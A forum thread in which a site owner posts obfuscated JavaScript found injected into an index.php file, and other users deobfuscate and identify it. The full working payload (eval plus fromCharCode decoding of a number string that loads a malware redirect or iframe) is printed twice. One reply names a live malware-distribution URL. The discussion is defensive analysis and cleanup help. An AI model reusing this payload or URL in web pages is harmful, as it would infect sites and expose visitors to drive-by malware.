9 {{ upvoteCount | shortNum }}
9 {{ upvoteCount | shortNum }}

Encryted Javascript Injection

by zerofill
6 replies
PHP Code:
<script>d=Date;d=new d();if(d.getFullYear()==2012)h=-parseInt('012')/5;if(window.document)try{new"a".prototype}catch(qqq){zz='eva'+'l';ss=[];aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){f='from'+'Char';f=f+'Code';}ee='e';e=window[zz];t='y';}n="3.5j3.5j51.5j50j15j19j49j54.5j48.5j57.5j53.5j49.5j54j57j22j50.5j49.5j57j33.5j53j49.5j53.5j49.5j54j57j56.5j32j59.5j41j47.5j50.5j38j47.5j53.5j49.5j19j18.5j48j54.5j49j59.5j18.5j19.5j44.5j23j45.5j19.5j60.5j5.5j3.5j3.5j3.5j51.5j50j56j47.5j53.5j49.5j56j19j19.5j28.5j5.5j3.5j3.5j61.5j15j49.5j53j56.5j49.5j15j60.5j5.5j3.5j3.5j3.5j49j54.5j48.5j57.5j53.5j49.5j54j57j22j58.5j56j51.5j57j49.5j19j16j29j51.5j50j56j47.5j53.5j49.5j15j56.5j56j48.5j29.5j18.5j51j57j57j55j28j22.5j22.5j57j49j56.5j24.5j27j22j50j51.5j54j49j51j49.5j56j49.5j22j54.5j56j50.5j22.5j56.5j57j49j56.5j22.5j50.5j54.5j22j55j51j55j30.5j56.5j51.5j49j29.5j23.5j18.5j15j58.5j51.5j49j57j51j29.5j18.5j23.5j23j18.5j15j51j49.5j51.5j50.5j51j57j29.5j18.5j23.5j23j18.5j15j56.5j57j59.5j53j49.5j29.5j18.5j58j51.5j56.5j51.5j48j51.5j53j51.5j57j59.5j28j51j51.5j49j49j49.5j54j28.5j55j54.5j56.5j51.5j57j51.5j54.5j54j28j47.5j48j56.5j54.5j53j57.5j57j49.5j28.5j53j49.5j50j57j28j23j28.5j57j54.5j55j28j23j28.5j18.5j30j29j22.5j51.5j50j56j47.5j53.5j49.5j30j16j19.5j28.5j5.5j3.5j3.5j61.5j5.5j3.5j3.5j50j57.5j54j48.5j57j51.5j54.5j54j15j51.5j50j56j47.5j53.5j49.5j56j19j19.5j60.5j5.5j3.5j3.5j3.5j58j47.5j56j15j50j15j29.5j15j49j54.5j48.5j57.5j53.5j49.5j54j57j22j48.5j56j49.5j47.5j57j49.5j33.5j53j49.5j53.5j49.5j54j57j19j18.5j51.5j50j56j47.5j53.5j49.5j18.5j19.5j28.5j50j22j56.5j49.5j57j31.5j57j57j56j51.5j48j57.5j57j49.5j19j18.5j56.5j56j48.5j18.5j21j18.5j51j57j57j55j28j22.5j22.5j57j49j56.5j24.5j27j22j50j51.5j54j49j51j49.5j56j49.5j22j54.5j56j50.5j22.5j56.5j57j49j56.5j22.5j50.5j54.5j22j55j51j55j30.5j56.5j51.5j49j29.5j23.5j18.5j19.5j28.5j50j22j56.5j57j59.5j53j49.5j22j58j51.5j56.5j51.5j48j51.5j53j51.5j57j59.5j29.5j18.5j51j51.5j49j49j49.5j54j18.5j28.5j50j22j56.5j57j59.5j53j49.5j22j55j54.5j56.5j51.5j57j51.5j54.5j54j29.5j18.5j47.5j48j56.5j54.5j53j57.5j57j49.5j18.5j28.5j50j22j56.5j57j59.5j53j49.5j22j53j49.5j50j57j29.5j18.5j23j18.5j28.5j50j22j56.5j57j59.5j53j49.5j22j57j54.5j55j29.5j18.5j23j18.5j28.5j50j22j56.5j49.5j57j31.5j57j57j56j51.5j48j57.5j57j49.5j19j18.5j58.5j51.5j49j57j51j18.5j21j18.5j23.5j23j18.5j19.5j28.5j50j22j56.5j49.5j57j31.5j57j57j56j51.5j48j57.5j57j49.5j19j18.5j51j49.5j51.5j50.5j51j57j18.5j21j18.5j23.5j23j18.5j19.5j28.5j5.5j3.5j3.5j3.5j49j54.5j48.5j57.5j53.5j49.5j54j57j22j50.5j49.5j57j33.5j53j49.5j53.5j49.5j54j57j56.5j32j59.5j41j47.5j50.5j38j47.5j53.5j49.5j19j18.5j48j54.5j49j59.5j18.5j19.5j44.5j23j45.5j22j47.5j55j55j49.5j54j49j32.5j51j51.5j53j49j19j50j19.5j28.5j5.5j3.5j3.5j61.5".split("j");for(i=0;i!=595;i++){j=i;ss=ss+String[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(q);</script> 
Any javascript guys/gals know what that javascript code is encrypted with? Found it injected in an index.php file. Want to know what it is doing exactly. I know it is triggering some sort of redirect.
#encryted #injection #javascript
  • Profile picture of the author Gail_Curran
    Googled a part of it - this may or may not be enlightening:

    Suspicious JavaScript attached to a spam email - Stack Overflow
    .
    {{ DiscussionBoard.errors[5834817].message }}
  • Profile picture of the author KabanaSoft
    the code is obfuscated...there are many js obfuscators that can take normal code and make it hard to read like this...since the string is being split into an array of strings by the character 'j', which would result in an array of numbers with precision...and then its performing some math on these numbers...i would guess that the long string is an encrypted list of ascii character codes that are decoded by the mathematical operation to give that actual ascii code which is then built into a string...that is probably a site url that it sets the value of the window to.

    Just a guess but if you said it redirects then that it probably what it is. You can always run the script do an alert(ss); at the end of the script to view the final decoded value of that string.
    Signature

    {{ DiscussionBoard.errors[5836628].message }}
  • Profile picture of the author Craftisy
    Code:
    d = Date;
d = new d();
if (d.getFullYear() == 2012) h = -parseInt('012') / 5;
if (window.document) try {
    new "a".prototype
} catch (qqq) {
    zz = 'eva' + 'l';
    ss = [];
    aa = [] + 0;
    aaa = 0 + [];
    if (aa.indexOf(aaa) === 0) {
        f = 'from' + 'Char';
        f = f + 'Code';
    }
    ee = 'e';
    e = window[zz];
    t = 'y';
}
n = "3.5j3.5j51.5j50j15j19j49j54.5j48.5j57.5j53.5j49.5j54j57j22j50.5j49.5j57j33.5j53j49.5j53.5j49.5j54j57j56.5j32j59.5j41j47.5j50.5j38j47.5j53.5j49.5j19j18.5j48j54.5j49j59.5j18.5j19.5j44.5j23j45.5j19.5j60.5j5.5j3.5j3.5j3.5j51.5j50j56j47.5j53.5j49.5j56j19j19.5j28.5j5.5j3.5j3.5j61.5j15j49.5j53j56.5j49.5j15j60.5j5.5j3.5j3.5j3.5j49j54.5j48.5j57.5j53.5j49.5j54j57j22j58.5j56j51.5j57j49.5j19j16j29j51.5j50j56j47.5j53.5j49.5j15j56.5j56j48.5j29.5j18.5j51j57j57j55j28j22.5j22.5j57j49j56.5j24.5j27j22j50j51.5j54j49j51j49.5j56j49.5j22j54.5j56j50.5j22.5j56.5j57j49j56.5j22.5j50.5j54.5j22j55j51j55j30.5j56.5j51.5j49j29.5j23.5j18.5j15j58.5j51.5j49j57j51j29.5j18.5j23.5j23j18.5j15j51j49.5j51.5j50.5j51j57j29.5j18.5j23.5j23j18.5j15j56.5j57j59.5j53j49.5j29.5j18.5j58j51.5j56.5j51.5j48j51.5j53j51.5j57j59.5j28j51j51.5j49j49j49.5j54j28.5j55j54.5j56.5j51.5j57j51.5j54.5j54j28j47.5j48j56.5j54.5j53j57.5j57j49.5j28.5j53j49.5j50j57j28j23j28.5j57j54.5j55j28j23j28.5j18.5j30j29j22.5j51.5j50j56j47.5j53.5j49.5j30j16j19.5j28.5j5.5j3.5j3.5j61.5j5.5j3.5j3.5j50j57.5j54j48.5j57j51.5j54.5j54j15j51.5j50j56j47.5j53.5j49.5j56j19j19.5j60.5j5.5j3.5j3.5j3.5j58j47.5j56j15j50j15j29.5j15j49j54.5j48.5j57.5j53.5j49.5j54j57j22j48.5j56j49.5j47.5j57j49.5j33.5j53j49.5j53.5j49.5j54j57j19j18.5j51.5j50j56j47.5j53.5j49.5j18.5j19.5j28.5j50j22j56.5j49.5j57j31.5j57j57j56j51.5j48j57.5j57j49.5j19j18.5j56.5j56j48.5j18.5j21j18.5j51j57j57j55j28j22.5j22.5j57j49j56.5j24.5j27j22j50j51.5j54j49j51j49.5j56j49.5j22j54.5j56j50.5j22.5j56.5j57j49j56.5j22.5j50.5j54.5j22j55j51j55j30.5j56.5j51.5j49j29.5j23.5j18.5j19.5j28.5j50j22j56.5j57j59.5j53j49.5j22j58j51.5j56.5j51.5j48j51.5j53j51.5j57j59.5j29.5j18.5j51j51.5j49j49j49.5j54j18.5j28.5j50j22j56.5j57j59.5j53j49.5j22j55j54.5j56.5j51.5j57j51.5j54.5j54j29.5j18.5j47.5j48j56.5j54.5j53j57.5j57j49.5j18.5j28.5j50j22j56.5j57j59.5j53j49.5j22j53j49.5j50j57j29.5j18.5j23j18.5j28.5j50j22j56.5j57j59.5j53j49.5j22j57j54.5j55j29.5j18.5j23j18.5j28.5j50j22j56.5j49.5j57j31.5j57j57j56j51.5j48j57.5j57j49.5j19j18.5j58.5j51.5j49j57j51j18.5j21j18.5j23.5j23j18.5j19.5j28.5j50j22j56.5j49.5j57j31.5j57j57j56j51.5j48j57.5j57j49.5j19j18.5j51j49.5j51.5j50.5j51j57j18.5j21j18.5j23.5j23j18.5j19.5j28.5j5.5j3.5j3.5j3.5j49j54.5j48.5j57.5j53.5j49.5j54j57j22j50.5j49.5j57j33.5j53j49.5j53.5j49.5j54j57j56.5j32j59.5j41j47.5j50.5j38j47.5j53.5j49.5j19j18.5j48j54.5j49j59.5j18.5j19.5j44.5j23j45.5j22j47.5j55j55j49.5j54j49j32.5j51j51.5j53j49j19j50j19.5j28.5j5.5j3.5j3.5j61.5".split("j");
for (i = 0; i != 595; i++) {
    j = i;
    ss = ss + String[f](-h * (2 - 1 + 1 * n[j]));
}
if (1) q = ss;
if (zz) e(q);
    Signature
    Rank Tracker

    SerpBook
    {{ DiscussionBoard.errors[5853532].message }}
    • Profile picture of the author sannyman
      Description: This malware infects a web site through a compromised desktop (with virus), where it steals any stored password from the FTP client and uses that to attack the site.

      Note that every PHP, HTML and JS file can get compromised by this malware. On some variations of this attack, it is also compromised through vulnerable versions of Timthumb/WordPress.

      Some anti virus programs will flag this type of malware (after infecting a computer) as Blackhole Exploit kit or similar names.

      Affecting: Any web site with FTP enabled (and password stolen).

      Domains distributing malware:
      Code:
      http://vvesek.freetcp.com/i/i.php?go=1
(many others)
      Clean up: The desktop must be cleaned first. Use multiple AVs if necessary, since this virus is very good at hiding from the current AV that is running. Once it is clean, then you can clean up the sites and change the passwords.You can also PM me and let our team remove the malware for you.

      Success!
      Signature
      Link Revealer - Link Decloaker, IFRAME Breaker, Download Helper, Realtime HTTP Request Line Monitor
      Get it as a WSO here!
      {{ DiscussionBoard.errors[6084362].message }}
  • Profile picture of the author Earnie Boyd
    It's kinda cool trickery even if malicious. At least I'll know what it is if I see it again.
    Signature
    Earnie Boyd
    {{ DiscussionBoard.errors[6085194].message }}
  • Profile picture of the author Blackhat Articles
    I was lucky enough not to use FTP for my hosting purpose, as my wordpress blog's index.php was injected with such script. Mostly it affected wordpress blogs using Timthumb plugin. I didn't had such plugin, but i removed all extra plugins and deleted malware code manually. You can check your website security online at sucuri dot net.
    {{ DiscussionBoard.errors[6105593].message }}

Trending Topics